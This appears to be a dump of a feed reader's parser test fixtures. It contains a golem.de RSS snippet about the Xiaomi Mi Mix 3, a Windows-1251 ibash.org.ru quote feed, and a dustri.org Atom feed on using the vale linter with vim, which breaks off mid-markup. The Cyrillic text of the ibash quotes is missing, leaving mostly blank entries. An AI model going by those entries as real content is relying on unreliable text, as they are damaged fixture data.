height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/handy/xiaomi-das-mi-mix-3-hat-keine-notch-und-eine-versteckte-frontkamera/121536,list.html</comments>\n            <pubDate>Thu, 25 Oct 2018 11:49:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137319-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137319-177371-177370_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Das Display von Xiaomis angekndigtem Smartphone Mi Mix 3 ist nahezu randlos. Die Frontkamera versteckt das Gert hinter der aufschiebbaren Schale. Neu ist zudem, dass Xiaomi ein OLED-Panel verbaut und wieder den Qi-Ladestandard nutzt. (<a href=\"https://www.golem.de/specials/xiaomi/\">Xiaomi</a>, <a href=\"https://www.golem.de/specials/smartphone/\">Smartphone</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137319&amp;page=1&amp;ts=1540464540\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>125</slash:comments>\n        </item>\n    </channel>\n</rss>\n"
  },
  {
    "path": "internal/reader/parser/testdata/encoding_WINDOWS-1251.xml",
    "content": "<?xml version=\"1.0\" encoding=\"windows-1251\"?>\n<rss version=\"2.0\">\n\t<channel>\n\t\t<title>iBash.Org.Ru</title>\n\t\t<link>http://ibash.org.ru/</link>\n\t\t<description>  </description>\n\t\t<language>ru</language>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17703</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17703</link>\n\t\t\t<title> #17703</title>\n\t\t\t<pubDate>Wed, 21 Mar 2018 10:27:32 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx:      <br />xxx:    ? <br />yyy:    PHP  ,      <br />yyy:   - -   - ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17705</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17705</link>\n\t\t\t<title> #17705</title>\n\t\t\t<pubDate>Wed, 21 Mar 2018 10:27:22 +0300</pubDate>\n\t\t\t<description><![CDATA[: 1      ,    &#039;  . <br />:      1    ,   .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17707</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17707</link>\n\t\t\t<title> #17707</title>\n\t\t\t<pubDate>Wed, 21 Mar 2018 10:26:48 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx:       <br />xxx:  ,     .    ,         <br />xxx:      ACPI      <br />yyy: .   ? <br />xxx:     BNF.    . <br />xxx:     .     ACPI      &quot;  ,  &quot; <br />xxx: , 60%     <br />yyy:     ,     .          .        ,    ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17698</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17698</link>\n\t\t\t<title> #17698</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 10:15:42 +0300</pubDate>\n\t\t\t<description><![CDATA[( DRM,   ) <br />          ,    ,    .     ,     ,      ,  ,   ,    .       ,    .   ,    :    .             ,        ,     .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17714</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17714</link>\n\t\t\t<title> #17714</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 10:14:00 +0300</pubDate>\n\t\t\t<description><![CDATA[:  ,   - AMD  nVidia -     . <br /> :  .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17715</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17715</link>\n\t\t\t<title> #17715</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 10:13:35 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx:      <br />xxx:    ? <br />yyy:    PHP  ,      <br />yyy:   - -   - ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17722</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17722</link>\n\t\t\t<title> #17722</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 10:13:03 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx:       : &quot; 1  20      &quot; (values within range 1 to 20 may be selected)]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17475</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17475</link>\n\t\t\t<title> #17475</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 10:05:41 +0300</pubDate>\n\t\t\t<description><![CDATA[&lt;L29Ah&gt; [[ clang++ == *g++ ]] &amp;&amp; echo yay <br />&lt;L29Ah&gt; yay <br />&lt;Minoru&gt; *g++?    ?]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17430</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17430</link>\n\t\t\t<title> #17430</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:59:50 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx:   c       :) <br />yyy: ,       ,     ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17419</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17419</link>\n\t\t\t<title> #17419</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:59:01 +0300</pubDate>\n\t\t\t<description><![CDATA[&quot;OpenNET: QEMU/KVM  Xen      VGA&quot; <br /> <br />xx: proxmox        windows     , .\t <br />yy:  . .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17414</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17414</link>\n\t\t\t<title> #17414</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:58:30 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx: 600  ?   &gt;3  .    . :       ,   . ,    .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17396</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17396</link>\n\t\t\t<title> #17396</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:56:44 +0300</pubDate>\n\t\t\t<description><![CDATA[  Apple: <br />-    ? <br />-  ,       ,    ? <br />-       ? <br />- ?   ! <br />-    Emoji? <br />- !   !]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17394</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17394</link>\n\t\t\t<title> #17394</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:56:28 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx: ,    ,      ,    ,  .     , , ,  ,     -      ,       ,  ,    ? <br /> <br />yyy:   ,    ,  ,   ,  .  , ,   .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17386</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17386</link>\n\t\t\t<title> #17386</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:55:30 +0300</pubDate>\n\t\t\t<description><![CDATA[&gt;  Mail.Ru &lt;...&gt;           Tarantool <br /> <br />SELECT * FROM cars; <br /> <br />+------+--------------------+ <br />| id   | name               | <br />+------+--------------------+ <br />| 1    | &quot;Mazda CX-3&quot;       | <br />| 2    | &quot;Audi Q1&quot;          | <br />| 3    | &quot;BMW X1&quot;           | <br />| 4    | &quot;Mazda CX-5&quot;       | <br />| 5    | &quot;Cadillac XT5&quot;     | <br />| NULL | &quot;@Mail.Ru&quot;  | <br />| NULL | &quot;Guard@Mail.ru&quot;    | <br />| NULL | &quot;@Mail.ru &quot;   | <br />| NULL | &quot;Mail.ru Updater&quot;  | <br />+------+--------------------+]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17381</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17381</link>\n\t\t\t<title> #17381</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:54:50 +0300</pubDate>\n\t\t\t<description><![CDATA[  ,     C++      . <br /> <br />   .       ,               !     .     ,     . <br /> <br />   .       ,    ,         .               . <br /> <br /> ,  ,   .    ,    .       ,     ,                   . ,    ,     .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17375</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17375</link>\n\t\t\t<title> #17375</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:53:54 +0300</pubDate>\n\t\t\t<description><![CDATA[:   serv29.    . <br />:   ,  . <br />:     ? <br />: .   .     :    .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17371</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17371</link>\n\t\t\t<title> #17371</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:53:46 +0300</pubDate>\n\t\t\t<description><![CDATA[  -        ,     : &quot;      ?&quot;      gentoo... ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17370</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17370</link>\n\t\t\t<title> #17370</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:53:28 +0300</pubDate>\n\t\t\t<description><![CDATA[   &quot;&quot;: <br />zzz: &quot;     &quot;???&quot;, &quot;      ,    IT,  .  ,     ,   -,              &quot;.&quot; <br /> <br />      ...,   <br /> <br />xxx:  Intel Core i5-5287U <br /> <br />yyy: ,  &amp;#769; (. Filip&amp;#233;ndula)       (Rosaceae).  1013 [3],      . <br /> : <br />  , , . <br /> <br />    <br /> <br />zzz:         ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17369</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17369</link>\n\t\t\t<title> #17369</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:52:38 +0300</pubDate>\n\t\t\t<description><![CDATA[Grother:      ,              .       ,            Pasta silikonova termoprzewodzaca.]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17367</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17367</link>\n\t\t\t<title> #17367</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:52:20 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx: -  -         ? <br />xxx: : .  ,    . <br />xxx:      ,     .      .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17363</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17363</link>\n\t\t\t<title> #17363</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:51:55 +0300</pubDate>\n\t\t\t<description><![CDATA[   : <br />1.      . <br />2.    &quot;&quot;     -   . <br />: <br />.1       , ..  . <br />.2   ?]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17359</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17359</link>\n\t\t\t<title> #17359</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:51:10 +0300</pubDate>\n\t\t\t<description><![CDATA[ ReactOS 0.4  : <br /> <br />Oxdeadbeef:    x86_64? <br /> <br />Jedi-to-be: ,   .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17358</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17358</link>\n\t\t\t<title> #17358</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:51:04 +0300</pubDate>\n\t\t\t<description><![CDATA[&lt;dsmirnov&gt;       .....   ,  ....]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17357</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17357</link>\n\t\t\t<title> #17357</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:50:55 +0300</pubDate>\n\t\t\t<description><![CDATA[: . 20  <br />: ,  <br />:  ,    ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17356</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17356</link>\n\t\t\t<title> #17356</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:50:51 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx: -     .  - ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17354</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17354</link>\n\t\t\t<title> #17354</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:50:41 +0300</pubDate>\n\t\t\t<description><![CDATA[Nick&gt;        <br />Nick&gt;   System information disabled due to load higher than 1.0 <br />Nick&gt;          ,    <br />Nick&gt;   400,    PCI- SATA   <br />Nick&gt;          ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17353</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17353</link>\n\t\t\t<title> #17353</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:49:52 +0300</pubDate>\n\t\t\t<description><![CDATA[     .   ,  RoHS         ,        ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17316</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17316</link>\n\t\t\t<title> #17316</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:47:42 +0300</pubDate>\n\t\t\t<description><![CDATA[:   ,  -   .  .       15  .    .     180   :  ,        ʔ. <br />Dmitry:   ))))) <br />:        <br />Dmitry:  )     ,       ,   .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17314</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17314</link>\n\t\t\t<title> #17314</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:46:52 +0300</pubDate>\n\t\t\t<description><![CDATA[Kikimorra:    -.    ,   .    -  : <br /> <br />It&#039;s a nice day! <br />  <br />Delete all children! <br /> <br />   ,      &gt;.&lt;]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17312</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17312</link>\n\t\t\t<title> #17312</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:46:33 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx:           <br />xxx:,   <br />:  ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17306</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17306</link>\n\t\t\t<title> #17306</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:46:21 +0300</pubDate>\n\t\t\t<description><![CDATA[aaa:     ,       . <br />bbb: ,   ?       igloves,     ,       . <br />ccc:          .         ,    . <br />ddd:        ? <br />   .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17304</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17304</link>\n\t\t\t<title> #17304</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:45:51 +0300</pubDate>\n\t\t\t<description><![CDATA[&lt;&gt;      ... <br />&lt;&gt;          ?]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17297</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17297</link>\n\t\t\t<title> #17297</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:44:04 +0300</pubDate>\n\t\t\t<description><![CDATA[[15:15:56] r@ttler:     .    <br />[15:16:05] ZimM:  <br />[15:17:30] r@ttler:         :   .     .       ,       <br />[15:17:59] r@ttler:     &quot;  ,   &quot;]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17291</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17291</link>\n\t\t\t<title> #17291</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:42:11 +0300</pubDate>\n\t\t\t<description><![CDATA[    -: <br /> <br />-     . <br /> <br />-       ,      .... <br />[ 2   20  ]...,     . <br /> <br />-   ? <br /> <br />-    :   15    ,  15    ,    .               .      .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17285</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17285</link>\n\t\t\t<title> #17285</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:40:57 +0300</pubDate>\n\t\t\t<description><![CDATA[ZimM: ... with great power comes great responsibility <br />r@ttler: great chances to shoot your own leg <br />ZimM:   .  ,        <br />r@ttler: work hard to shoot your own leg? <br />r@ttler:      <br />r@ttler:    -,        <br />ZimM: ,  ,     ,   -,   -      ...]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17280</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17280</link>\n\t\t\t<title> #17280</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:37:53 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx:    &quot; &quot; ( ,    ),     ,        .      ,   ,   ,     .        ,      .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17279</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17279</link>\n\t\t\t<title> #17279</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:37:50 +0300</pubDate>\n\t\t\t<description><![CDATA[Val:          B61-12.   ,         ,    F-15E   &quot;&quot;   20 . <br />Val:   .        &quot;&quot;? <br />:    &quot;!&quot; -   ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17276</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17276</link>\n\t\t\t<title> #17276</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:29:42 +0300</pubDate>\n\t\t\t<description><![CDATA[dimgel: (  .) &quot;Linux.Encoder.1     -.     ...&quot; <br />.         : &quot;          &quot;. <br />dimgel:  ,       . <br />garik:         <br />garik:    <br />dimgel:  <br />dimgel:        <br />dimgel: !   Linux.Encoder.1  FreeBSD?!]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17272</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17272</link>\n\t\t\t<title> #17272</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:28:44 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx:     ,  ,     <br />yyy:    ,     ,    . <br />xxx:  ... <br />xxx:        !! <br />xxx:            <br />xxx:   &quot;    &quot; <br />xxx: &quot;    &quot; <br />yyy: &quot;,    &quot; <br />xxx: &quot;          &quot; <br />yyy: &quot;,     &quot; <br />xxx:  , - !]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17259</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17259</link>\n\t\t\t<title> #17259</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:25:43 +0300</pubDate>\n\t\t\t<description><![CDATA[    <br />[19:27:36] ZimM:   .  Europe,      -   <br />[19:28:01] r@ttler:   .  ? <br />[19:28:30] ZimM:   <br />[19:28:49] r@ttler:    <br />[19:29:01] r@ttler:   -  ? <br />[19:29:08] ZimM:    <br />[19:29:14] r@ttler:    80 ?]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17236</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17236</link>\n\t\t\t<title> #17236</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:23:51 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx: &quot;        &quot;,    ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17235</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17235</link>\n\t\t\t<title> #17235</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:23:49 +0300</pubDate>\n\t\t\t<description><![CDATA[xx:  , google    :) <br /> <br />yy:    ) <br /> <br />zz:    ( ,   -   ) ,     <br /> <br />tt:    ,      ?]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17233</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17233</link>\n\t\t\t<title> #17233</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:23:33 +0300</pubDate>\n\t\t\t<description><![CDATA[  &quot;  Linux-    &quot;: <br /> <br />xxx:   -   ,   .  3 .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17230</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17230</link>\n\t\t\t<title> #17230</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:22:21 +0300</pubDate>\n\t\t\t<description><![CDATA[ : <br /> Last Exile,         ?    .      ,   .         .     .       . <br />[...] <br />     ,  ,    .      ,         .  ,    : <br /> <br />1)      <br />2)          <br />3)          <br />4)    (          ) <br />5)      <br />6) , ,                 ,     .     .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17226</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17226</link>\n\t\t\t<title> #17226</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:20:48 +0300</pubDate>\n\t\t\t<description><![CDATA[, ,    . ,  -  .   .    .   ,  -,   ,  ,    15     .            .  ,  ,  .  , .  ,   .   .   : <br /> <br />--  , ,  .    .       . <br /> <br />        UML       .]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17227</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17227</link>\n\t\t\t<title> #17227</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:20:46 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx: , !       ...  ,    ,          ,    ,   ,     ,   , ...]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17223</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17223</link>\n\t\t\t<title> #17223</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:19:38 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx: 40 ,     ,   ... <br />yyy:     D <br />yyy:    <br />yyy:     -    <br />zzz:       :) <br />zzz:  80  <br />xxx:     -   ))) <br />yyy:   <br />yyy:     <br />yyy:    -  <br />yyy:    2000,   ,    120  <br />yyy:             <br />yyy:       <br />yyy:    ,     <br />yyy: ,      ,      5  <br />yyy:  ,    ,        <br />xxx:  ,      <br />yyy:         <br />yyy:     ,        ]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17224</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17224</link>\n\t\t\t<title> #17224</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:19:36 +0300</pubDate>\n\t\t\t<description><![CDATA[ ,    ,  ,   NDA? <br />     NDA  ,  ?]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17221</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17221</link>\n\t\t\t<title> #17221</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:17:22 +0300</pubDate>\n\t\t\t<description><![CDATA[duzorg: <br />         .     .      ,    ,      15-20 .          .   100  ... <br />      100. <br />duzorg: <br />    ,    .     4  . %) <br />Funkryer: <br />   <br />      =) <br />  1   4      ,     <br />duzorg: <br />   ,          ))) <br />duzorg: <br />          ... ... <br />Funkryer: <br />, ,   !]]></description>\n\t\t</item>\n\t\t<item>\n\t\t\t<guid>http://ibash.org.ru/quote.php?id=17220</guid>\n\t\t\t<link>http://ibash.org.ru/quote.php?id=17220</link>\n\t\t\t<title> #17220</title>\n\t\t\t<pubDate>Thu, 15 Mar 2018 09:16:48 +0300</pubDate>\n\t\t\t<description><![CDATA[xxx:      <br />xxx: :( <br />xxx:    ,    ]]></description>\n\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "internal/reader/parser/testdata/large_atom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<feed xmlns=\"http://www.w3.org/2005/Atom\"><title>Artificial truth</title><link href=\"https://dustri.org/b/\" rel=\"alternate\"></link><link href=\"https://dustri.org/b/atom.xml\" rel=\"self\"></link><id>https://dustri.org/b/</id><updated>2024-03-10T17:15:00+01:00</updated><entry><title>Using vale with vim</title><link href=\"https://dustri.org/b/using-vale-with-vim.html\" rel=\"alternate\"></link><published>2024-03-10T17:15:00+01:00</published><updated>2024-03-10T17:15:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2024-03-10:/b/using-vale-with-vim.html</id><summary type=\"html\">&lt;p&gt;&lt;a href=\"https://en.wikipedia.org/wiki/LWN.net\"&gt;LWN&lt;/a&gt; recently published an excellent\n(subscriber only) &lt;a href=\"https://lwn.net/Articles/964075/\"&gt;article&lt;/a&gt; on\n&lt;a href=\"https://vale.sh/\"&gt;vale&lt;/a&gt;, an &lt;em&gt;editorial style&lt;/em&gt; linter. One of the original goal\nof this little corner on the internet was to improve my English, a purpose it\nkeeps serving. Adding some lightweight tooling to my text editor to push this\ngoal even further …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;&lt;a href=\"https://en.wikipedia.org/wiki/LWN.net\"&gt;LWN&lt;/a&gt; recently published an excellent\n(subscriber only) &lt;a href=\"https://lwn.net/Articles/964075/\"&gt;article&lt;/a&gt; on\n&lt;a href=\"https://vale.sh/\"&gt;vale&lt;/a&gt;, an &lt;em&gt;editorial style&lt;/em&gt; linter. One of the original goal\nof this little corner on the internet was to improve my English, a purpose it\nkeeps serving. Adding some lightweight tooling to my text editor to push this\ngoal even further sounds great.&lt;/p&gt;\n&lt;p&gt;Like all good software, vale &lt;a href=\"https://gitlab.alpinelinux.org/alpine/aports/-/tree/master/testing/vale\"&gt;is\npackaged&lt;/a&gt;\nin Alpine, although it looked a tad neglected, so I sent &lt;a href=\"https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/61919\"&gt;a\npull-request&lt;/a&gt;\nto get it updated.\nIts configuration is pretty straightforward: a &lt;code&gt;~/.vale.ini&lt;/code&gt; file, with\nwhere to store/read its data and some preferences. It comes with a\n&lt;a href=\"https://vale.sh/hub/\"&gt;couple of &lt;em&gt;packages&lt;/em&gt;&lt;/a&gt; for popular styles, like the ones\nfrom &lt;a href=\"https://vale.sh/hub/microsoft/\"&gt;Microsoft&lt;/a&gt;,\n&lt;a href=\"https://vale.sh/hub/google/\"&gt;Google&lt;/a&gt;, &lt;a href=\"https://vale.sh/hub/redhat/\"&gt;RedHat&lt;/a&gt;, … then a simple &lt;code&gt;vale sync&lt;/code&gt; to force it to\ndownload and store the data, and you're good to go.&lt;/p&gt;\n&lt;p&gt;While &lt;code&gt;vale&lt;/code&gt; can be called from the command line, integration with my text\neditor is way more comfy. I'm sure there are a ton of plugins to integrate it\nwith vim, but I'm not a huge fan of having my text editor run arbitrary code\nfrom the internet, so I threw the following 6 lines in &lt;a href=\"https://dustri.org/pub/vimrc\"&gt;my vimrc&lt;/a&gt; instead:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"nv\"&gt;augroup&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;vale&lt;/span&gt;\n&lt;span class=\"w\"&gt;  &lt;/span&gt;&lt;span class=\"k\"&gt;if&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;filereadable&lt;/span&gt;&lt;span class=\"ss\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;expand&lt;/span&gt;&lt;span class=\"ss\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;~/.vale.ini&amp;quot;&lt;/span&gt;&lt;span class=\"ss\"&gt;))&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nv\"&gt;autocmd&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;FileType&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;markdown&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;setlocal&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nv\"&gt;makeprg&lt;/span&gt;&lt;span 